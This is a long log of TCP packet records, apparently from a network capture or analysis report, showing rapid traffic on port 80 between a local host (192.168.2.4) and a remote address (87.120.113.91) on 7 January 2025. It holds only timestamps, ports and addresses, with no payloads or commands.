Jan 7, 2025 13:25:35.087768078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087773085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087796926 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087949991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087956905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087968111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087985039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088002920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088105917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088115931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088125944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088133097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088139057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088149071 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088165998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088172913 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088176966 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088180065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088208914 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088210106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088217020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088263988 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088324070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088361025 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088367939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088375092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088413954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088424921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088428020 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088432074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088462114 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088464022 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088470936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088509083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088515997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088515997 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088545084 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088592052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088599920 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088617086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088624001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088635921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088648081 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088675022 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088783979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088787079 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088828087 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088835001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088876009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088876963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.088881969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088892937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.088929892 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109466076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109530926 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109535933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109586000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109586954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109592915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109607935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109613895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109627008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109652996 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109677076 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109684944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109690905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109704018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109731913 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109756947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109800100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109807014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109829903 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109836102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109839916 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109869957 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109894037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109931946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109941006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109981060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109982967 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.109992981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.109999895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110037088 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110186100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110193014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110207081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110213041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110224962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110232115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110235929 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110239029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110256910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110270977 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110285044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110291958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110299110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110301018 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110305071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110311031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110318899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110327959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.110331059 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.110359907 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166399956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166405916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166413069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166419983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166425943 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166431904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166438103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166445017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166476011 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166526079 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166744947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166760921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166768074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166783094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166790962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166807890 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166831970 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166841030 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166846991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166877031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166907072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166913986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166925907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166951895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166958094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166964054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166964054 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.166970015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.166989088 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.167059898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.167066097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.167102098 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178031921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178047895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178065062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178107977 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178113937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178121090 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178148031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178153992 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178164959 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178164959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178185940 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178237915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178281069 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178302050 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178308010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178320885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178327084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178345919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178352118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178358078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178371906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178381920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178400993 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178442001 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178447962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178458929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178487062 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178533077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178540945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178546906 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178556919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178564072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178576946 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178581953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178600073 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178736925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178776979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178782940 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178793907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178829908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178849936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178855896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178863049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178869009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.178900003 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.178936005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179008007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179013014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179024935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179048061 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179075003 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179112911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179124117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179130077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179141045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179150105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179156065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179171085 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179200888 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179486036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179502010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179508924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179514885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179526091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179532051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179538012 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179543018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179548979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179555893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179568052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179574013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179579973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179582119 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179594994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179600954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.179604053 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179617882 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.179646969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200126886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200138092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200145006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200186014 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200201035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200207949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200218916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200225115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200244904 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200263977 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200299978 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200304985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200359106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200368881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200371027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200402975 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200409889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200412989 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200431108 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200437069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200445890 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200453997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200476885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200483084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200495958 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200512886 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200603962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200608969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200620890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200632095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200654984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200658083 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200660944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200673103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200675011 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200690985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200794935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200800896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200814009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200840950 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200850010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200855970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200862885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200886965 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.200895071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200901031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.200946093 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.201023102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.201029062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.201042891 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.201066971 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.201067924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.201072931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.201086044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.201117039 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.262684107 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262697935 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262711048 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262758017 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.262777090 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262784958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262798071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262805939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262823105 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.262861013 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.262937069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262943029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262954950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262960911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262967110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262979031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262984991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.262993097 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.263014078 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.263030052 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.263082027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263088942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263104916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263114929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263123035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263128996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.263143063 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.263164997 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.268815041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268822908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268836021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268841982 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268852949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268858910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268865108 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268871069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268889904 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.268898964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.268933058 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269252062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269264936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269270897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269304991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269309044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269315958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269329071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269351006 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269402981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269409895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269423008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269428968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269442081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269460917 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269484997 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269498110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269504070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269511938 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269536018 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269639969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269646883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269659996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269665956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269671917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269679070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269690990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269696951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269697905 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269704103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269726992 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269746065 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269778013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269784927 CET	80	49737	87.120.113.91	192.168.2.4
